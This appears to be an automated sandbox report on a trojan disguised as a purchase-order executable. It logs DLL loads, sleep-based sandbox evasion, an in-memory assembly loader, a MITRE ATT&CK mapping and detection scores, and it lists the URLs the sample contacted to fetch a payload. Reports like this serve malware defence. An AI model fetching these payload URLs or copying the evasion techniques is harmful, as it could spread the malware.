Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50382 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50404 version: TLS 1.2

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Process Stats: CPU usage > 49%

Source: PO1178236.scr.exe, 00000000.00000000.1704568126.00000000000D4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePO1178236.exe4 vs PO1178236.scr.exe
Source: PO1178236.scr.exe, 00000000.00000002.4157804256.000000000062E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO1178236.scr.exe
Source: PO1178236.scr.exe	Binary or memory string: OriginalFilenamePO1178236.exe4 vs PO1178236.scr.exe

Source: PO1178236.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal60.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Mutant created: NULL

Source: PO1178236.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO1178236.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO1178236.scr.exe	Virustotal: Detection: 59%
Source: PO1178236.scr.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Section loaded: gpapi.dll	Jump to behavior

Source: PO1178236.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO1178236.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: PO1178236.scr.exe, Program.cs

.Net Code: Fjewgfg System.AppDomain.Load(byte[])

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Code function: 0_2_00A40D15 push edi; retf

0_2_00A40D92

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Memory allocated: A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Memory allocated: 2360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Memory allocated: 4360000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Window / User API: threadDelayed 2050			Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Window / User API: threadDelayed 7791			Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7496	Thread sleep count: 2050 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7496	Thread sleep count: 7791 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99056s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99540s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -199812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99774s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -199280s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99414s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99962s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -199938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -199282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe TID: 7464	Thread sleep time: -99516s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99843	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99056	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99984	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99540	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99906	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99774	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99414	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99962	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99796	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99687	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99578	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99468	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99969	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99860	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Users\user\Desktop\PO1178236.scr.exe	Thread delayed: delay time: 99516	Jump to behavior

Source: PO1178236.scr.exe, 00000000.00000002.4157804256.00000000006A3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Queries volume information: C:\Users\user\Desktop\PO1178236.scr.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\PO1178236.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PO1178236.scr.exe	59%	Virustotal		Browse
PO1178236.scr.exe	66%	ReversingLabs	Win32.Trojan.Leonem
PO1178236.scr.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.vascocorretora.com.brd	0%	Avira URL Cloud	safe
https://www.vascocorretora.com.br/PPI/Lhysknv.dat	0%	Avira URL Cloud	safe
https://www.vascocorretora.com.brD	0%	Avira URL Cloud	safe
https://www.vascocorretora.com.br	0%	Avira URL Cloud	safe
https://www.vascocorretora.com.br/PPI/Lhysknpjn	0%	Avira URL Cloud	safe
https://www.vascocorretora.com.br/PPI/Lhysknp	0%	Avira URL Cloud	safe
http://www.vascocorretora.com.br	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.vascocorretora.com.br	188.114.96.3	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.vascocorretora.com.br/PPI/Lhysknv.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.vascocorretora.com.brD	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vascocorretora.com.brd	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.vascocorretora.com.br	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002361000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.vascocorretora.com.br/PPI/Lhysknpjn	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002361000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002687000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002600000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000023F6000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.vascocorretora.com.br/PPI/Lhysknp	PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vascocorretora.com.br	PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	www.vascocorretora.com.br	European Union		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586497
Start date and time:	2025-01-09 08:27:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO1178236.scr.exe
Detection:	MAL
Classification:	mal60.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target PO1178236.scr.exe, PID 7432 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:28:19	API Interceptor	10850476x Sleep call for process: PO1178236.scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	KSts9xW7qy.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/?xP7x=4VB/N4F6tibqC9FQILosJ+n1llTK4MiF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxa/r9DhwgcU3z86+N04yu78wK1Du9wX32CCg=&F4=Q0yHy
	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
